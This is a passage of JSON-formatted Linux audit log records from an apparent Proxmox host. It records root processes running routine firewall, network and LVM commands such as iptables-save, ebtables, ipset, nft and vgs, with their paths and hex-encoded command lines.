comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155844,"@rawstring":"node=pve type=PATH msg=audit(1781966155.844:68671): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395103,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.103:65423): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964645878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.878:61947): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59441 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155844,"@rawstring":"node=pve type=PATH msg=audit(1781966155.844:68671): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395103,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.103:65422): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964645872,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.872:61946): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155844,"@rawstring":"node=pve type=PATH msg=audit(1781966155.844:68670): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395103,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.103:65421): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964645868,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.868:61945): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5639bb379740 items=0 ppid=1156 pid=59439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966155839,"@rawstring":"node=pve type=PATH msg=audit(1781966155.839:68669): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395099,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.099:65420): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964645866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.866:61944): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e93e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155839,"@rawstring":"node=pve type=PATH msg=audit(1781966155.839:68669): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.093:65419): proctitle=\"ip6tables-save\""} {"@timestamp":1781964645862,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.862:61943): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb6a1a0d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59438 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155839,"@rawstring":"node=pve type=PATH msg=audit(1781966155.839:68669): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.085:65418): proctitle=\"iptables-save\""} {"@timestamp":1781964645857,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.857:61942): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140200 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59437 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155831,"@rawstring":"node=pve type=PATH msg=audit(1781966155.831:68668): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.079:65417): proctitle=69707365740073617665"} {"@timestamp":1781964645852,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.852:61941): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134e70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59436 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155831,"@rawstring":"node=pve type=PATH msg=audit(1781966155.831:68668): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.071:65416): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964645847,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.847:61940): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140200 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155824,"@rawstring":"node=pve type=PATH msg=audit(1781966155.824:68667): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965395.064:65415): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964645842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.842:61939): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adbee0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59434 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155824,"@rawstring":"node=pve type=PATH msg=audit(1781966155.824:68667): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965394890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965394.890:65414): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964645834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.834:61938): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59433 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155818,"@rawstring":"node=pve type=PATH msg=audit(1781966155.818:68666): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965394866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965394.866:65413): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964645828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.828:61937): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59432 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155818,"@rawstring":"node=pve type=PATH msg=audit(1781966155.818:68666): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965392.850:65412): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645824,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.824:61936): arch=c000003e syscall=59 success=yes exit=0 a0=6190044370e0 a1=619004433e60 a2=619004415680 a3=5 items=2 ppid=59425 pid=59431 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155810,"@rawstring":"node=pve type=PATH msg=audit(1781966155.810:68665): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965392.850:65411): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.819:61935): arch=c000003e syscall=59 success=yes exit=0 a0=618ffaa21ac8 a1=7ffd2ca2d1f0 a2=619004415680 a3=618ffaa0524e items=2 ppid=59425 pid=59427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155810,"@rawstring":"node=pve type=PATH msg=audit(1781966155.810:68665): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965392.850:65410): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.819:61934): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd2ca2d1b0 a1=619004432d50 a2=619004415680 a3=5 items=2 ppid=59425 pid=59426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155802,"@rawstring":"node=pve type=PATH msg=audit(1781966155.802:68664): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965392.842:65409): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.813:61932): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155802,"@rawstring":"node=pve type=PATH msg=audit(1781966155.802:68664): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965392.842:65408): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.807:61931): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=PATH msg=audit(1781966155.617:68663): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965392842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965392.842:65407): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.799:61930): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59423 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=PATH msg=audit(1781966155.617:68663): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965387.836:65406): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645791,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.791:61929): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b03bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59422 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=PATH msg=audit(1781966155.617:68662): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965387.836:65405): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645781,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.781:61928): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0edf80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59421 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=PATH msg=audit(1781966155.617:68661): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387835,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965387.835:65404): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645774,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.774:61927): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc100c80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59420 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=PATH msg=audit(1781966155.608:68660): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965387.829:65403): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.141:61926): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59419 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=PATH msg=audit(1781966155.608:68660): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965387.829:65402): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964645133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.133:61923): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=PATH msg=audit(1781966155.608:68659): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965387829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965387.829:65401): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964644342,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964644.342:61920): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73abe10 a1=64f8d73b6770 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=PATH msg=audit(1781966155.608:68658): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.054:65399): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964644302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964644.302:61919): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1a52d70 a1=64f8d73dff10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966154624,"@rawstring":"node=pve type=PATH msg=audit(1781966154.624:68657): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.047:65398): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964640123,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964640.123:61918): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966154624,"@rawstring":"node=pve type=PATH msg=audit(1781966154.624:68657): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386046,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.046:65397): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964640116,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964640.116:61915): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966154601,"@rawstring":"node=pve type=PATH msg=audit(1781966154.601:68656): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386046,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.046:65396): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964639838,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964639.838:61912): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253810 a1=637ee7253e20 a2=637ee7240ef0 a3=8 items=2 ppid=59408 pid=59410 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966154601,"@rawstring":"node=pve type=PATH msg=audit(1781966154.601:68656): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386042,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.042:65395): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964639838,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964639.838:61911): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242550 a1=637ee7254330 a2=637ee7240ef0 a3=8 items=2 ppid=59408 pid=59409 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150586,"@rawstring":"node=pve type=PATH msg=audit(1781966150.586:68655): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.034:65394): proctitle=\"ip6tables-save\""} {"@timestamp":1781964639836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964639.836:61910): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252f40 a1=637ee7251db0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=59407 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150586,"@rawstring":"node=pve type=PATH msg=audit(1781966150.586:68655): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965386029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965386.029:65393): proctitle=\"iptables-save\""} {"@timestamp":1781964635762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.762:61909): arch=c000003e syscall=59 success=yes exit=0 a0=5aa311fd8d30 a1=5aa311fe4f40 a2=5aa311fb2680 a3=5 items=2 ppid=59400 pid=59406 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) 